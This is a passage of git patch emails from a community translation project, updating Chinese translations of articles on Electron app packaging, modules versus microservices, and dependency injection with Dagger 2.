+假如 Electron 胜出，你想发行一个 Electron 应用。有一个很不错的 Node.js 包叫 [electron-packager](https://github.com/electron-userland/electron-packager) 可以帮你将 app 打包成一个 `.app` 或者 `.exe` 文件。也有其他几个类似的项目，包括交互式的一步一步告诉你该怎么做。你应该用 [electron-builder](https://github.com/electron-userland/electron-builder)，它以 electron-packager 为基础，添加了其他几个相关的模块，生成的是 `.dmg` 文件和 Windows 安装包，并且为你处理好了代码签名的问题。这很重要，如果没有这一步，你的应用将会被操作系统认为是不可信的，你的应用程序可能会触发防毒软件的运行，Microsoft SmartScree 可能会尝试阻止用户启动你的应用。
 
-So, let’s say that Electron has won over and you want to ship an Electron app. There’s a nice Node.js module named [electron-packager](https://github.com/electron-userland/electron-packager) that helps with packing your app up into an `.app` or `.exe` file. A few similar projects exist, including interactive ones that prompt you step by step. You should use [electron-builder](https://github.com/electron-userland/electron-builder), though, which builds on top of electron-packager, plus a few other related modules. It generates `.dmg`s and Windows installers and takes care of the code-signing of your app for you. This is really important. Without it, your app would be labelled as untrusted by operating systems, your app could trigger anti-virus software, and Microsoft SmartScreen might try to block the user from launching your app.
+> The annoying thing about code-signing is that you have to sign your app on a Mac for Mac and on Windows for Windows. So, if you’re serious about shipping desktop apps, then you’ll need to build on multiple machines for each release.
 
-The annoying thing about code-signing is that you have to sign your app on a Mac for Mac and on Windows for Windows. So, if you’re serious about shipping desktop apps, then you’ll need to build on multiple machines for each release.
+关于代码签名的令人讨厌的事情是，你必须在 Mac 上为 Mac 和 Windows 上为 Windows 签署你的应用程序。因此，如果是认真要发行桌面应用的话，就需要为每个发行版本给多种机器构建。
 
 This can feel a bit too manual or tedious, especially if you’re used to creating for the web. Thankfully, electron-builder was created with automation in mind. I’m talking here about continuous integration tools and services such as [Jenkins](https://jenkins.io/), [CodeShip](http://codeship.com/), [Travis-CI](https://travis-ci.org/), [AppVeyor](https://www.appveyor.com/) (for Windows) and so on. These could run your desktop app build at the press of a button or at every push to GitHub, for example.
 

From c69b8d14dee196bbf664f59f346c6da8d07bfc92 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Sun, 2 Apr 2017 03:35:08 +0800
Subject: [PATCH 013/638] Update modules-vs-microservices.md

---
 TODO/modules-vs-microservices.md | 74 +++++++++++++++++---------------
 1 file changed, 39 insertions(+), 35 deletions(-)

diff --git a/TODO/modules-vs-microservices.md b/TODO/modules-vs-microservices.md
index 46c1aa66e3c..7e550ed2c06 100644
--- a/TODO/modules-vs-microservices.md
+++ b/TODO/modules-vs-microservices.md
@@ -1,74 +1,78 @@
 > * 原文地址：[Modules vs. microservices](https://www.oreilly.com/ideas/modules-vs-microservices)
 > * 原文作者：[Sander Mak](https://www.oreilly.com/people/sander_mak)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者： 
+> * 译者：[lsvih](https://github.com/lsvih)
 > * 校对者：
 
-# Modules vs. microservices
+# 模块化 vs. 微服务
 
-Apply modular system design principles while avoiding the operational complexity of microservices.
+在应用模块化系统设计原则的同时，避免微服务的复杂性。
 
 ![](https://d3tdunqjn7n0wj.cloudfront.net/360x240/container-227877_1920-0db52b796e6b80d98f6df2d01a6ee4fb.jpg)
 
-Much has been said about moving from monoliths to microservices. Besides rolling off the tongue nicely, it also seems like a no-brainer to chop up a monolith into microservices. But is this approach really the best choice for your organization? It’s true that there are many drawbacks to maintaining a messy monolithic application. But there is a compelling alternative which is often overlooked: modular application development. In this article, we'll explore what this alternative entails and show how it relates to building microservices.
+从单体式应用向微服务架构迁移已经是老生常谈的话题了。除了过过嘴瘾，似乎真的动手将单体式应用拆分成微服务也不是什么很困难的事。但是这种做法真的是你们团队的最佳选择吗？维护一个凌乱的单体式应用的确很伤脑筋，但是还有另一种强有力的替代方案常常被人忽视：模块化应用开发。本文将探讨这种替代方案，并展现其与构建微服务的关系。
 
-## Microservices for modularity
+## 模块化微服务
 
-"With microservices we can finally have teams work independently", or "our monolith is too complex, which slows us down." These expressions are just a few of the many reasons that lead development teams down the path of microservices. Another one is the need for scalability and resilience. What developers collectively seem to be yearning for is a modular approach to system design and development. Modularity in software development can be boiled down into three guiding principles:
+“通过微服务，我们终于能够让团队独立工作了”或者“我们的单体式应用实在太复杂了，它降低了我们的工作效率”之类的话，只是让团队改用微服务架构的诸多原因中的一小部分；还有一种说法是需要可拓展性与弹性。所有开发人员似乎都渴望系统设计和开发的模块化。软件开发中的模块化可以总结为以下三个原则：
 
-- **Strong encapsulation**: hide implementation details inside components, leading to low coupling between different parts. Teams can work in isolation on decoupled parts of the system.
-- **Well-defined interfaces**: you can't hide everything (or else your system won't do anything meaningful), so well-defined and stable APIs between components are a must. A component can be replaced by any implementation that conforms to the interface specification.
-- **Explicit dependencies**: having a modular system means distinct components must work together. You'd better have a good way of expressing (and verifying) their relationships.
+- **强大的封装性**：隐藏了各个组件内部实现的细节，减少了不同组件之间的耦合性。团队可以在系统的各个非耦合部分中独立地工作。
+- **定义良好的接口**：你不可能隐藏组件内的所有东西（否则你的系统将毫无意义），因此有必要在组件之间定义良好且可靠的 API。任意一个组件都可以被符合接口规范的其它组件替换。
+- **显式依赖**：模块化系统意味着不同的组件需要在一起工作。因此你最好能有一种途径来表达（与验证）它们之间关系。
 
-Many of these principles can be realized with microservices. A microservice can be implemented in any way, as long as it exposes a well-defined interface (oftentimes a REST API) for other services. Its implementation details are internal to the service, and can change without system-wide impact or coordination. Dependencies between microservices are typically not quite explicit at development-time, leading to possible service orchestration failures at run-time. Let's just say this last modularity principle could use some love in most microservice architectures.
+这些原则都可以用微服务架构来实现。只要做到对其它服务暴露定义明确的接口（通常是一个 REST API），就能以任意方式来实现一个微服务。它的实现细节是这个服务内部的事情，你可以改变这些实现细节而不影响整个系统。微服务之间的依赖关系通常在开发时是不明确的，这可能会导致在运行时服务编排失败。只能说在大多数微服务架构中，实现最后一条模块化原则还需要再接再厉。
 
-So, microservices realize important modularity principles, leading to tangible benefits:
+因此，微服务架构实现了重要的模块化原则，并带来了以下三点实实在在的好处：
 
-- Teams can work and scale independently.
-- Microservices are small and focused, reducing complexity.
-- Services can be internally changed or replaced without global impact.
+- 团队能够独立地工作与扩张。
+- 微服务小巧、专一，降低了复杂度。
+- 服务可以在不会影响全局的情况下内部进行更改或者替换。
 
-What's not to like? Well, along the way you've gone from a single (albeit slightly obese) application to a distributed system of microservices. This brings an enormous amount of operational complexity to the table. Suddenly, you need to continuously deploy many different (possibly containerized) services. New concerns arise: service discovery, distributed logging, tracing and so on. You are now even more prone to the [fallacies of distributed computing](https://en.wikipedia.org/wiki/Fallacies_of_distributed_computing). Versioning of interfaces and configuration management become a major concern. The list goes on and on.
+那么微服务架构的缺点是什么呢？当你从一个单体式（虽然有点臃肿）应用切换成微服务分布式系统的时候，给表操作带来了巨大的复杂性。突然间，你发现你要不断地部署各种不同的（可能是由容器包装的）服务。这时，服务发现、分布式日志记录、跟踪等新的问题出现了。现在，你更加容易出现[分布式计算的谬论](https://en.wikipedia.org/wiki/Fallacies_of_distributed_computing)造成的错误。接口的版本管理与配置管理成为你面对的主要问题。各种问题将数不胜数向你涌来。
 
-It turns out there is as much complexity in the connections between microservices as there is in the combined business logic of all individual microservices. And to get here, you can't just take your monolith and chop it up. Whereas 'spaghetti code' in monolithic codebases is problematic, putting a network boundary in between escalates these entanglement issues to downright painful. 
+事实证明，由于所有的微服务个体都需要联合起来实现业务逻辑，微服务之间的连接将变得无比复杂。看到这里，你应该意识到不能简单地将单体式应用拆分成微服务了。单体式应用中的“意大利面条式代码”问题重重，在其中再加上网络边界会将这些纠缠在一起的问题升级成彻头彻尾的痛苦。
 
-## The modular alternative
+* 译注：[什么是意大利面式代码](http://www.ituring.com.cn/article/10311)
 
-Does this mean we are either relegated to the messy monolith, or must drown in the complexity of microservice madness? Modularity can be achieved by other means as well. What's essential is that we can effectively draw and enforce boundaries during development. But we can achieve this by creating a well-structured monolith as well. Of course, that means embracing any help we can get from the programming language and development tooling to enforce the principles of modularity.
+## 模块化的替代方案
 
-In Java, for example, there are several module systems that can help in structuring an application. OSGi is the most well-known one, but with the release of Java 9 a native module system is added to the Java platform itself. Modules are now part of the language and platform as a first-class construct. Java modules can express dependencies on other modules, and publicly export interfaces while strongly encapsulating implementation classes. Even the Java platform itself (an enormous codebase) has been modularized using the new Java module system. You can learn more about modular development with Java 9 in my forthcoming book, [Java 9 Modularity](https://www.safaribooksonline.com/library/view/java-9-modularity/9781491954157/?utm_source=newsite&amp;utm_medium=content&amp;utm_campaign=lgen&amp;utm_content=modules-vs-microservices-inline), now available in early release.
+这是否意味着我们要么沉没在混乱的单体式应用中，要么淹没在令人抓狂的微服务复杂性中呢？其实，模块化也可以通过其它方式实现。在开发时最重要的是正确地规划项目边界并实施方案，我们也可以通过创建一个结构良好的单体式应用来实现这一点。当然，这意味着我们将尽可能利用编程语言与开发工具的协助来实现模块化原则。
 
-Other languages offer similar mechanisms. For instance, JavaScript got a [module system](http://exploringjs.com/es6/ch_modules.html) as of ES2015. Before that, Node.js already offered a non-standard module system for JavaScript back-ends. However, as a dynamic language, JavaScript has weaker support for enforcing interfaces (types) and encapsulation between modules. You can consider using TypeScript on top of JavaScript to get back this advantage again. Microsoft's .Net Framework does have strong typing like Java, but it doesn't have a direct equivalent to Java's upcoming module system in terms of strong encapsulation and explicit dependencies between assemblies. Still, a good modular architecture can be achieved by using Inversion-of-Control patterns which are standardized in [.Net Core](https://msdn.microsoft.com/en-us/magazine/mt707534.aspx) and by creating logically related assemblies. Even C++ is [considering the addition](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2016/n4610.pdf) of a module system in a future revision. Many languages are gaining appreciation for modularization, which is in itself a striking development.
+例如在 Java 中，有几个可以帮助你构建应用的模块系统。OSGi 是其中最著名的一个，不过随着 Java 9 的发布，Java 平台将加入一个原生的模块系统。现在模块作为一等结构（first-class construct），成为了语言和平台的一部分。Java 模块可以表明对其它模块的依赖，以及在强封装实现类的时候公开暴露接口。甚至 Java 平台本身（一个庞大的代码库）已经使用了新的 Java 模块系统进行模块化。你可以在我即将出版的书[Java 9 Modularity](https://www.safaribooksonline.com/library/view/java-9-modularity/9781491954157/?utm_source=newsite&amp;utm_medium=content&amp;utm_campaign=lgen&amp;utm_content=modules-vs-microservices-inline)中了解有关 Java 9 模块化开发的更多信息。（现早期版本已经发布）
 
-When you make a conscious effort to use the modularity features of your development platform, you can achieve the same modularity benefits that we ascribed to microservices earlier. Essentially, the better the module system, the more help you get during development. Different teams can work on different parts, where only the well-defined interfaces are touch points between the teams. Still, at deployment time the modules come together in a single deployment unit. This way you can prevent the substantial complexity and costs associated with moving to microservices development and management. True, this means you can't build each module on a different tech-stack. But is your organization really ready for that anyway?
+其它的语言也提供了类似的机制。例如，JavaScript 在 ES2015 规范中提供了一个[模块系统](http://exploringjs.com/es6/ch_modules.html)。在此之前，Node.js 也为 JavaScript 后端提供了一个非标准的模块系统。然而 JavaScript 作为一种动态语言，对于强制接口（类型）与模块封装的支持还是较弱。你可以考虑在 JavaScript 的基础上使用 TypeScript 来重新获得这些优点。微软的 .Net 框架与 Java 一样都有着强类型，但就强封装以及程序集（Assemblies）间的显式依赖而言，它与 Java 即将推出的模块系统并不相同。尽管如此，你可以通过使用 [.Net Core](https://msdn.microsoft.com/en-us/magazine/mt707534.aspx) 中标准化的反转控制模式（IOC）以及创建逻辑相关的程序集来实现良好的模块化架构。即使是 C++ 也在以后的版本中[考虑添加](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2016/n4610.pdf)模块系统。许多语言现在都对模块化表现出了欣赏之情，这本身就是一个显著的进步。
 
-## Designing modules
+当你有意识地使用你的开发平台的模块化特性时，你就可以实现之前提及的微服务的模块化优势。基本上模块系统越好，你在开发过程中获得的帮助就越多。只要在不同团队间的接触点定义好明确的接口，不同的团队也可以独立进行不同部分的工作。当然，在部署时还是要将模块在一个单独的部署单元中组合起来。这样可以防止过大的复杂度，以及迁移到微服务所需要的开发与管理成本。诚然，这也意味着你不能使用不同的技术栈来构建不同的模块，但你的团队应该不会真的这么做吧？
 
-Creating good modules requires the same design rigor as creating good microservices. A module should model (part of) a single bounded context of the domain. Choosing microservice boundaries is an architecturally significant decision with costly ramifications when done wrong. Module boundaries in a modular application are easier to change. Refactoring across modules is typically supported by the type-system and the compiler. Redrawing microservice boundaries involves a lot of inter-personal communication to not let things blow up at run-time. And be honest, how often do you get your boundaries right the first time, or even the second?
+## 模块设计
 
-In many ways, modules in statically typed languages offer better constructs for well-defined interfaces. Calling a method through a typed interface exposed by another module is much more robust against changes than calling a REST endpoint on another microservice. REST+JSON is ubiquitous, but it is not the hallmark of well-typed interoperability in the absence of (compiler-checked) schemas. Add in the fact that traversing the network including (de)serialization still isn't free, and the picture becomes even bleaker. What's more, many module systems allow you to express your dependencies on other modules. When these dependencies are violated, the module system will not allow it. Dependencies between microservices only materialize at run-time, leading to hard to debug systems.
+创建好的模块和创建好的微服务一样，都需要严谨的设计。一个模块应该基于其域的有界上下文建模（DDD）。选择微服务的边界是架构上重要的决策，一旦出错就可能要付出沉重的代价。相较而言，模块化应用程序模块的边界更容易修改一些。模块间的重构通常由类型系统和编译器支持。微服务边界的重新划分则涉及大量的进程间通信（IPC），以确保运行时稳定性。老实说，你真的一次就能正确的划分好边界？
 
-Modules are natural units for code-ownership as well. Teams can be responsible for one or more modules in the system. The only thing shared with other teams is the public API of their modules. At run-time, there's less isolation between modules in comparison with microservices. Everything still runs in the same process, after all. 
+在许多方面，静态语言的模块为了定义明确的接口而提供了更好的结构。通过调用另一个模块暴露的接口提供的方法，比去调用另一个微服务的 REST 端点健壮性要强的多。REST+JSON 现在无处不在，但在没有编译器检查的情况下，它并没有”类型良好的互通性“这个特点。而事实上，通过网络序列化（或者反序列化）数据并不是无开销的，甚至这种传输方式更加逊色。此外，许多模块化系统允许你表明此模块对于其它模块的依赖关系，模块系统将不允许违背这些依赖关系的情况出现。而微服务之间的依赖关系只在运行时实现，导致系统难以调试。
 
-There's no reason why a module in a monolith can't own its data just like a good microservice does. Sharing within the modular application then happens through well-defined interfaces or messages between modules, not through a shared datastore. The big difference with microservices is that everything happens in-process. Eventual consistency concerns should not be underestimated. With modules, eventual consistency can be a deliberate, strategic choice. Or, you can just 'logically' separate data while storing them in the same datastore and still use cross-domain transactions for the time being. For microservices, there is no choice: eventual consistency is a given and you need to adapt.
+模块也是代码所有权中的自然单位。一个团队可以负责系统中的一个或者多个模块，而只需要给其它团队提供模块的公共 API。在运行时，模块之间的隔离比微服务少，毕竟模块化单体式应用的所有模块都运行在同一个进程中。
 
-## When are microservices right for your organization?
+* 译注：[什么是代码所有权](http://blog.csdn.net/mfowler/article/details/974251)
 
-So when should you turn to microservices? Until now, we've mainly focused on tackling complexity through modularity. For that, both microservices and modular applications will do. But there are different challenges besides the ones addressed so far. 
+毫无疑问，单体式应用的模块不可能像微服务一样有自己的数据。模块化应用内部的数据交流是通过定义良好的接口或者模块间的消息进行的，而不是通过共享数据存储进行。它与微服务最大的差别就是它的一切都发生在同一个进程中，因此同样不能低估最终的数据一致性问题。对于模块来说，最终的一致性问题可以是一个策略问题，或者你也可以仅将数据”逻辑地“分开存储在同一数据库内并仍然使用跨域事务。而对于微服务来说，这个问题别无选择：必须保证最终的一致性。
 
-When your organization is at the scale of Google or Netflix, it makes complete sense to embrace microservices. You have the capacity to build your own platform and toolkits, and the number of engineers prohibits any reasonable monolithic approach. But most organizations  don't operate at this scale. Even if you think your organization will become a billion-dollar unicorn one day, starting out with a modularized monolith won't do much harm. 
+## 何时微服务才适用于你的团队？
 
-Another good reason to spin up separate microservices is if different services are inherently better suited to different technology stacks. Then again, you must have the scale to attract talent across these disparate stacks and keep those platforms up and running. 
+那么何时迁移到微服务架构才合适呢？到目前为止，我们主要关注的是如何通过模块化来解决复杂性问题。对于这一点，微服务与模块化应用都可以做到，只不过各有所难。
 
-Microservices also enable independent deployment of different parts of the system, something that is harder (or even impossible) in most modular platforms. Isolated deployments add to the resilience and fault-tolerance of the system. Furthermore, the scaling characteristics may be different for each microservice. Different microservices can be deployed to matching hardware.  The modularized monolith can be scaled horizontally as well, but you scale out all modules together. That may not always work out for the best, though in practice, you can get quite far with this approach. 
+当你的团队有如同 Google 或者 Netflix 般的规模的时候，拥抱微服务是毋庸置疑的。你有能力去建立你自己的平台与工具库，并且工程师的数量排除了任何使用单体式解决方案的可能。但是大多数的组织都达不到这个规模。即使你认为你的公司有朝一日将成为一个市值十亿美元的独角兽，在刚起步时使用模块化的单体式应用也无伤大雅。
 
-## Conclusion
+另一个拆分微服务的理由是：不同的服务在实现上更适合适用不同的技术栈。那么，你必须有足够的规模来吸引人才以解决这些迥然不同的技术栈，并支持这些平台的运行。
 
-As always, the best option is finding a middle-ground. There's a place for both approaches, and which is best really depends on the environment, organisation and the application itself. Why not start with a modular application? You can always choose to move to microservices later. Then, instead of having to surgically untangle your monolith, you have sensible module boundaries cut out already. It's not even an exclusive choice: you can also use modules to structure microservices internally. The question then becomes, why do microservices have to be 'micro'? 
+微服务还可以做到独立部署系统的不同部分，这在大多数模块化平台中很难（甚至不可能）实现。隔离部署增加了系统的弹性与容错能力。此外，每个微服务的缩放特性可以是不同的，可以部署不同的微服务以匹配硬件。模块化的单体式应用可以进行水平缩放，但是只能将所有模块捆绑在一起同时进行拓展。虽然你可以通过这种方法得到很多好处，但这可能并不是最好的解决方案。
 
-Even if you do depart from a single modularized application, your services don't have to be tiny to be maintainable. Again, applying the principles of modularity within services allows them to scale in complexity beyond what you'd normally ascribe to microservices. There's a place for both modules and microservices in this picture. Real cost-savings can be achieved by reducing the number of services in your architecture. Modules can help structure and scale services just as they can help structure a single monolithic application.
+## 总结
+ 
+总之，最好的方案就是找到一个折中的点。这两种方案都有可取之处，需要根据实际环境、组织和应用本身进行选择。既然你可以在之后迁移成微服务架构，那为什么最开始不直接使用模块化应用呢？如果你已经划分好了模块边界，你也不必去拆分你的单体式应用。甚至你还可以在模块内部搭建微服务架构。那么问题就变成了：为什么微服务一定要是”微“的呢？
 
-If you're after the benefits of modularity, make sure you don't trick yourself into a microservices-only mindset. Explore the in-process modularity features or frameworks of your favorite technology stack. You’ll get support to enforce modular design, instead of having to just rely on conventions to avoid spaghetti code. Then, make a deliberate choice whether you want to incur the complexity penalty of microservices. Sometimes you just have to, but often, you can find a better way forward. 
+即使你的应用刚从模块化应用转成微服务架构，服务也不必非得很“微”才具备可维护性。在服务中应用模块化原则能让它们超越通常微服务具有的复杂性。现在这份蓝图中既有微服务也有模块，减少架构中的服务的数量可以节约成本；而其中的模块可以像构建单体式应用一样，构建和扩展服务。
+
+如果你追求模块化的好处，请确保自己不要自嗨进入一种“非微服务不可”的心态。探索你喜爱的技术栈中的同进程模块化功能或框架，你将会得到支持去真正的执行模块化设计，而不是仅靠着约定来避免“意大利面条式代码”。最后，请深思熟虑后再选择：你是否愿意接受引入微服务造成的复杂度成本。有的时候你别无选择，但更多的时候其实你可以找到更好的解决方案。
 
 ---
 

From b2f9e63e8df27d704dd063a56414e507b3d765d1 Mon Sep 17 00:00:00 2001
From: tanglie <tanglie23@163.com>
Date: Sun, 2 Apr 2017 12:14:11 +0800
Subject: [PATCH 014/638] Update Dependency-Injection-with-Dagger-2.md

---
 TODO/Dependency-Injection-with-Dagger-2.md | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/TODO/Dependency-Injection-with-Dagger-2.md b/TODO/Dependency-Injection-with-Dagger-2.md
index f33534c9171..de20a68534c 100644
--- a/TODO/Dependency-Injection-with-Dagger-2.md
+++ b/TODO/Dependency-Injection-with-Dagger-2.md
@@ -166,13 +166,13 @@ public class NetModule {
 }
 ```
 
-注意，方法名称（比如 `provideGson()`, `provideRetrofit()` 等）是没关系的，可以任意设置。 用 `@Provides` decorator is used to associate this instantiation with any other modules of the same type.  The `@Singleton` annotation is used to declare to Dagger to be only initialized only once during the entire lifecycle of the application.  
+注意，方法名称（比如 `provideGson()`, `provideRetrofit()` 等）是没关系的，可以任意设置。`@Provides` 被用于把这个实例化和其它同类的模块联系起来。`@Singleton` 标注用于通知 Dagger，它在整个应用的生命周期中只被初始化一次。
 
-A `Retrofit` instance depends both on a `Gson` and `OkHttpClient` instance, so we can define another method within the same class that takes these two types.  The `@Provides` annotation and these two parameters in the method will cause Dagger to recognize that there is a dependency on `Gson` and `OkHttpClient` to build a `Retrofit` instance.
+一个 `Retrofit` 实例依赖于一个 `Gson` 和一个 `OkHttpClient` 实例，所以我们可以在同一个类中定义两个方法，来提供这两种实例。`@Provides` 标注和方法中的这两个参数将使 Dagger 意识到，构建一个 `Retrofit` 实例 需要依赖 `Gson` 和 `OkHttpClient`。
 
-#### Define injection targets
+#### 定义注入目标
 
-Dagger provides a way for the fields in your activities, fragments, or services to be assigned references simply by annotating the fields with an `@Inject` annotation and calling an `inject()` method.  Calling `inject()` will cause Dagger 2 to locate the singletons in the dependency graph to try to find a matching return type.  If it finds one, it assigns the references to the respective fields. For instance, in the example below, it will attempt to find a provider that returns `MyTwitterApiClient` and a `SharedPreferences` type:
+Dagger 使你的 activity, fragment, 或 service 中的域可以通过 `@Inject` 注解和调用 `inject()` 方法被赋值。调用 `inject()` 将会使得 Dagger 2 在依赖图中寻找合适类型的单例。如果找到了一个，它就把引用赋值给对应的域。例如，在下面的例子中，它会尝试找到一个返回`MyTwitterApiClient` 和`SharedPreferences` 类型的 provider：
 
 ```java
 public class MainActivity extends Activity {
@@ -185,7 +185,7 @@ public class MainActivity extends Activity {
    } 
 ```
 
-The injector class used in Dagger 2 is called a **component**.  It assigns references in our activities, services, or fragments to have access to singletons we earlier defined.  We will need to annotate this class with a `@Component` declaration. Note that the activities, services, or fragments that can be added should be declared in this class with individual `inject()` methods: 
+Dagger 2 中使用的注入者类被称为 **component**。它把先前定义的单例的引用传给 activity, service 或 fragment。我们需要用 `@Component` 来注解这个类。注意，需要被注入的 activity, service 或 fragment 需要在这里使用 `inject()` 方法注入： 
 
 
 ```java
@@ -198,11 +198,11 @@ public interface NetComponent {
 }
 ```
 
-**Note** that base classes are not sufficient as injection targets.  Dagger 2 relies on strongly typed classes, so you must specify explicitly which ones should be defined.   (There are [suggestions](https://blog.gouline.net/2015/05/04/dagger-2-even-sharper-less-square/) to workaround the issue, but the code to do so may be more complicated to trace than simply defining them.)
+**注意** 基类不能被作为注入的目标。Dagger 2 依赖于强类型的类，所以你必须指定哪些类会被定义。（有一些[建议](https://blog.gouline.net/2015/05/04/dagger-2-even-sharper-less-square/) 帮助你绕开这个问题，但这样做的话，代码可能会变得更复杂，更难以追踪。）
 
-#### Code generation
+#### 生成代码
 
-An important aspect of Dagger 2 is that the library generates code for classes annotated with the `@Component` interface.  You can use a class prefixed with `Dagger` (i.e. `DaggerTwitterApiComponent.java`) that will be responsible for instantiating an instance of our dependency graph and using it to perform the injection work for fields annotated with `@Inject`.  See the [[setup guide|Dependency-Injection-with-Dagger-2#setup]].
+Dagger 2 的一个重要特点是它会为标注 `@Component` 的接口生成类的代码。你可以使用带有 `Dagger` (比如 `DaggerTwitterApiComponent.java`) 前缀的类that will be responsible for instantiating an instance of our dependency graph and using it to perform the injection work for fields annotated with `@Inject`.  See the [[setup guide|Dependency-Injection-with-Dagger-2#setup]].
 ### Instantiating the component
 
 We should do all this work within an `Application` class since these instances should be declared only once throughout the entire lifespan of the application:

From f6100ce71915b1d50ef894c5d685e19b2b577f4d Mon Sep 17 00:00:00 2001
From: tanglie <tanglie23@163.com>
Date: Sun, 2 Apr 2017 12:50:45 +0800
Subject: [PATCH 015/638] Update Dependency-Injection-with-Dagger-2.md

---
 TODO/Dependency-Injection-with-Dagger-2.md | 31 +++++++++++-----------
 1 file changed, 16 insertions(+), 15 deletions(-)

diff --git a/TODO/Dependency-Injection-with-Dagger-2.md b/TODO/Dependency-Injection-with-Dagger-2.md
index de20a68534c..6fe0da96a5e 100644
--- a/TODO/Dependency-Injection-with-Dagger-2.md
+++ b/TODO/Dependency-Injection-with-Dagger-2.md
@@ -202,10 +202,11 @@ public interface NetComponent {
 
 #### 生成代码
 
-Dagger 2 的一个重要特点是它会为标注 `@Component` 的接口生成类的代码。你可以使用带有 `Dagger` (比如 `DaggerTwitterApiComponent.java`) 前缀的类that will be responsible for instantiating an instance of our dependency graph and using it to perform the injection work for fields annotated with `@Inject`.  See the [[setup guide|Dependency-Injection-with-Dagger-2#setup]].
-### Instantiating the component
+Dagger 2 的一个重要特点是它会为标注 `@Component` 的接口生成类的代码。你可以使用带有 `Dagger` (比如 `DaggerTwitterApiComponent.java`) 前缀的类来为依赖图提供实例，并用它来完成用 `@Inject` 注解的域的注入。 参见[[setup guide|Dependency-Injection-with-Dagger-2#setup]]。
 
-We should do all this work within an `Application` class since these instances should be declared only once throughout the entire lifespan of the application:
+### 实例化组件
+
+我们应该在一个 `Application` 类中完成这些工作，因为这些实例应当在 application 的整个周期中只被声明一次：
 
 ```java
 public class MyApp extends Application {
@@ -234,9 +235,9 @@ public class MyApp extends Application {
 }
 ```
 
-Make sure to rebuild the project (in Android Studio, select _Build > Rebuild Project_) if you cannot reference the Dagger component.
+如果你不能引用 Dagger 组件，rebuild 整个项目 (在 Android Studio 中，选择 _Build > Rebuild Project_)。
 
-Because we are overriding the default `Application` class, we also modify the application  `name` to launch `MyApp`.  This way your application will use this application class to handle the initial instantiation.
+因为我们在覆盖默认的 `Application` 类，我们同样需要修改应用的 `name` 以启动 `MyApp`。这样，你的 application 将会使用这个 application 类来处理最初的实例化。
 
 ```xml
 <application
@@ -244,7 +245,7 @@ Because we are overriding the default `Application` class, we also modify the ap
       android:name=".MyApp">
 ```
 
-Within our activity, we simply need to get access to these components and call `inject()`.  
+在我们的 activity 中，我们只需要获取这些 components 的引用，并调用 `inject()`。
 
 ```java
 public class MyActivity extends Activity {
@@ -258,10 +259,11 @@ public class MyActivity extends Activity {
     } 
 ```
  
-### Qualified types
+### 限定词类型
+
 ![Dagger Qualifiers](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_qualifiers.png)
 
-If we need two different objects of the same return type, we can use the `@Named` qualifier annotation.  You will define it both where you provide the singletons (`@Provides` annotation), and where you inject them (`@Inject` annotations):
+如果我们需要同一类型的两个不同对象，我们可以使用 `@Named` 限定词注解。 你需要定义你如何提供单例 (用 `@Provides` 注解)，以及你从哪里注入它们(用 `@Inject` 注解):
 
 ```java
 @Provides @Named("cached")
@@ -279,14 +281,14 @@ OkHttpClient provideOkHttpClient() {
 }
 ```
 
-Injection will also require these named annotations too:
+注入同样需要这些 named 注解：
 
 ```java
 @Inject @Named("cached") OkHttpClient client;
 @Inject @Named("non_cached") OkHttpClient client2;
 ```
 
-`@Named` is a qualifier that is pre-defined by dagger, but you can create your own qualifier annotations as well:
+`@Named` 是一个被 Dagger 预先定义的限定语，但你也可以创建你自己的限定语注解：
 
 ```java
 @Qualifier
@@ -296,11 +298,10 @@ public @interface DefaultPreferences {
 }
 ```
 
-### Scopes
-![Dagger Scopes](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_scopes.png)
-
-In Dagger 2, you can define how components should be encapsulated by defining custom scopes.  For instance, you can create a scope that only lasts the duration of an activity or fragment lifecycle.  You can create a scope that maps only to a user authenticated session.  You can define any number of custom scope annotations in your application by declaring them as a public `@interface`:
+### 作用域
+![Dagger 作用域](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_scopes.png)
 
+在 Dagger 2 中，你可以通过自定义作用域来定义组件应当如何封装。例如，你可以创建一个只持续 activity 或 fragment 整个生命周期的作用域。你也可以创建一个对应一个用户认证 session 的作用域。 你可以定义任意数量的自定义作用域注解，只要你把它们声明为 public `@interface`：
 ```java
 @Scope
 @Documented
@@ -310,7 +311,7 @@ public @interface MyActivityScope
 }
 ```
 
-Even though Dagger 2 does not rely on the annotation at runtime, keeping the `RetentionPolicy` at RUNTIME is useful in allowing you to inspect your modules later.
+虽然 Dagger 2 在运行时不依赖注解does not rely on the annotation at runtime, keeping the `RetentionPolicy` at RUNTIME is useful in allowing you to inspect your modules later.
 
 ### Dependent Components vs. Subcomponents
 

From 024b2a82cb1da0a144b9661df036f059ed77cffb Mon Sep 17 00:00:00 2001
From: tanglie <tanglie23@163.com>
Date: Sun, 2 Apr 2017 13:16:32 +0800
Subject: [PATCH 016/638] Update Dependency-Injection-with-Dagger-2.md

---
 TODO/Dependency-Injection-with-Dagger-2.md | 25 +++++++++++-----------
 1 file changed, 13 insertions(+), 12 deletions(-)

diff --git a/TODO/Dependency-Injection-with-Dagger-2.md b/TODO/Dependency-Injection-with-Dagger-2.md
index 6fe0da96a5e..a3c8b10b53c 100644
--- a/TODO/Dependency-Injection-with-Dagger-2.md
+++ b/TODO/Dependency-Injection-with-Dagger-2.md
@@ -311,17 +311,17 @@ public @interface MyActivityScope
 }
 ```
 
-虽然 Dagger 2 在运行时不依赖注解does not rely on the annotation at runtime, keeping the `RetentionPolicy` at RUNTIME is useful in allowing you to inspect your modules later.
+虽然 Dagger 2 在运行时不依赖注解，把 `RetentionPolicy` 设置为 RUNTIME 对于将来检查你的 module 将是很有用的。
 
-### Dependent Components vs. Subcomponents
+### 依赖组件和子组件
 
-Leveraging scopes allows us to create either **dependent components** or **subcomponents**.  The example above showed that we used the `@Singleton` notation that lasted the entire lifecycle of the application. We also relied on one major Dagger component.  
+利用作用域，我们可以创建 **依赖组件** 或 **子组件**。上面的例子中，我们使用了 `@Singleton` 注解，它持续了整个应用的生命周期。我们也依赖了一个主要的 Dagger 组件。  
 
